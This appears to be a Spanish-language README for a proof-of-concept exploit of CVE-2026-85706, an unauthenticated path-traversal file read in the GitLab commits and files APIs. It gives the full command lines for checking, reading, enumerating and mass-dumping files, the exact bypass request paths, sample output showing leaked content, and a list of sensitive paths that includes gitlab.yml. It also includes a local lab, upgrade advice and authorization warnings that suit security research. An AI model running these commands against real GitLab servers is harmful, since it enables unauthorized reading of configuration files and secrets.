
PoC para CVE-2026-85706: lectura arbitraria de archivos locales sin autenticación en GitLab CE/EE
CVE-2026-85706 es un problema crítico de path traversal / falta de autenticación en las APIs Repository Commits y Repository Files de GitLab CE/EE: un atacante no autenticado puede hacer que el servidor lea archivos arbitrarios y obtener su contenido a través del canal de errores. CVSS 3.1 10.0
(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N).
El título oficial de GitLab es "Path Traversal issue in repository commits API impacts GitLab CE/EE". La corrección se publicó el 2026-09-10 en 19.3.2 / 19.2.6 / 19.1.8.
[!IMPORTANT] ¿Ejecutas un GitLab autoalojado <= 19.3.1? Actualiza a 19.3.2 / 19.2.6 / 19.1.8.
[!WARNING] Solo para uso autorizado. Ejecuta esta herramienta únicamente contra sistemas que poseas o que estés autorizado explícitamente a probar.
Este repositorio contiene una prueba de concepto independiente, un laboratorio de reproducción mínimo y un análisis técnico completo:
No se incluye ningún dato capturado de sistemas de terceros.
# terminal 1 - desde la raíz del repositorio
cd lab
python vulnerable_api.py --seed # create the sandbox vault
python vulnerable_api.py --port 8080 # vulnerable build (add --patched to compare)
# terminal 2 - desde la raíz del repositorio
cd poc
python CVE-2026-85706.py check --url http://127.0.0.1:8080 --project 1
python CVE-2026-85706.py read --url http://127.0.0.1:8080 --project 1 \
--file /tmp/cve-2026-85706/canary.txt
El laboratorio escucha únicamente en 127.0.0.1 y solo lee dentro de su sandbox lab/vault/, por lo que nunca puede tocar
archivos de tu máquina real.
# desde la raíz del repositorio (`cd lab && docker compose up -d` también funciona)
docker compose -f lab/docker-compose.yml up -d # ~3 GB image, >= 8 GB RAM
# root password, if you need to log in and create the project:
docker compose -f lab/docker-compose.yml exec gitlab grep 'password:' /etc/gitlab/initial_root_password
# then create a PUBLIC project with a repository, note its id, and run:
python poc/CVE-2026-85706.py check --url http://127.0.0.1:8929 --project <project_id>
# desde la raíz del repositorio
python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project <public_project>
Añade --insecure para certificados autofirmados, y prefiere el id numérico del proyecto en lugar de una ruta codificada
(--project <id> en vez de group%2Fproject).
| Comando | Propósito | Opciones clave |
|---|---|---|
check | ¿Es vulnerable el objetivo? Compara las respuestas de cada vector de bypass | --canary-path, --no-bypass-probe |
read | Lee un archivo e informa si su contenido se filtra | --file <path>, --media <type> |
enum | Sondea una lista de rutas y clasifica cada una | --wordlist, --wordlist-file |
dump | Guarda en disco cada archivo legible, con un manifiesto y las respuestas sin procesar | --files, --files-file, --outdir |
Las etiquetas que imprime check:
| Etiqueta | Ruta de la petición |
|---|---|
commits-trailing-slash | POST /api/v4/projects/<id>/repository/commits/ |
commits-json-suffix | POST /api/v4/projects/<id>/repository/commits.json |
commits-canonical | POST /api/v4/projects/<id>/repository/commits (Workhorse-buffered, control case) |
files-trailing-slash | POST /api/v4/projects/<id>/repository/files/<name>/ |
files-canonical | POST /api/v4/projects/<id>/repository/files/<name> |
check - ¿es vulnerable el objetivo?$ python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project <id> --insecure
form commits-trailing-slash HTTP 400 VULNERABLE:existence-oracle
form commits-json-suffix HTTP 400 VULNERABLE:existence-oracle
form commits-canonical HTTP 401 NOT-VULNERABLE(auth required)
[json and query variants behave identically]
[*] Workhorse bypass probe (same route, sent with and without the 'file' parameter)
commits-trailing-slash without 'file' HTTP 400 {"error":"file is missing"}
files-trailing-slash without 'file' HTTP 400 {"error":"file is missing"}
commits-trailing-slash with 'file=' HTTP 400 VULNERABLE:existence-oracle
[!] VULNERABLE - the endpoint evaluated an attacker supplied file path before authenticating.
-> upgrade to GitLab 19.1.8 / 19.2.6 / 19.3.2 or later.
Códigos de salida: 0 = vulnerable; 1 = no explotable con los vectores probados (parcheado, o la ruta inaccesible).
Dos detalles que conviene conocer:
Workhorse bypass probe es la prueba de enrutamiento: file solo existe cuando Workhorse ha almacenado en búfer y
firmado el cuerpo, por lo que un 400 {"error":"file is missing"} demuestra que la ruta de bypass omitió ese pipeline
mientras seguía alcanzando la API. En una compilación parcheada esa última línea muestra HTTP 401.commits-canonical -> 401) es el caso de control: allí Workhorse reescribe
file.path, por lo que el valor del atacante nunca llega al código vulnerable.read - leer un único archivo$ python poc/CVE-2026-85706.py read --url https://gitlab.example.com --project <id> --insecure \
--file /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] baseline probe (/tmp/this-file-does-not-exist-627748): HTTP 400 -> target build is VULNERABLE
form commits-trailing-slash HTTP 400 LEAK! content disclosed via the Rack parser error
form commits-canonical HTTP 401 EXISTS, parsed without error -> authentication required
Códigos de salida: 0 = contenido divulgado, o una lectura previa a la autenticación confirmada por la línea base; 1 = no se observó ninguna lectura previa a la autenticación.
enum / dump - sondeo masivopython poc/CVE-2026-85706.py enum --url https://gitlab.example.com --project <id> --insecure \
--wordlist-file poc/paths.txt
python poc/CVE-2026-85706.py dump --url https://gitlab.example.com --project <id> --insecure \
--outdir evidence --files-file poc/paths.txt
poc/paths.txt incluye 45 rutas interesantes de GitLab/Linux; --wordlist / --files pueden indicarse en línea o
mediante un archivo, y ambas formas pueden combinarse. Estos son los dos únicos subcomandos que tocan contenidos reales de archivos:
escribe la salida fuera de este repositorio y nunca publiques lo que capturen.
| Opción | Significado |
|---|---|
--url <base URL> | URL base del objetivo (obligatoria) |
--project <id or encoded path> | Id de proyecto público (123) o ruta codificada para URL (group%2Fproject), obligatorio |
--token <PRIVATE-TOKEN> | Opcional; prueba la ruta autenticada |
--insecure | Omite la verificación TLS (certificados autofirmados) |
-v, --verbose | Imprime cada petición/respuesta en stderr |
--canary-path <path> | Ruta garantizada como inexistente usada como línea base de vulnerabilidad |
--color <mode> | auto (por defecto, colores en un terminal real), always, never |
El orden de las opciones importa: las opciones compartidas van después del subcomando - check --url ... --insecure, no
--url ... check.
| Prueba | Resultado |
|---|---|
Control parcheado - gitlab.com, 19.3.2+ | Todos los vectores devuelven 401; la única otra respuesta es el 400 {"error":"file is missing"} que demuestra el bypass de enrutamiento |
Laboratorio local - lab/vulnerable_api.py | Reproduce el fallo de confianza del lado de Rails de principio a fin; --patched proporciona la compilación de comparación |
| Instancia autoalojada real - 19.3.1, autorización por escrito | Confirmada como vulnerable; los detalles del host y del proyecto deliberadamente no se publican aquí. Resultados agregados en ANALYSIS.md, sección 4.3 |
Este material se proporciona para investigación de seguridad y pruebas autorizadas - tu propio laboratorio, un programa de bug bounty, o una prueba de penetración con permiso por escrito. Úsalo únicamente contra sistemas que poseas o que estés autorizado explícitamente a probar. El acceso no autorizado a sistemas de terceros es ilegal. Se proporciona tal cual, sin garantía de ningún tipo.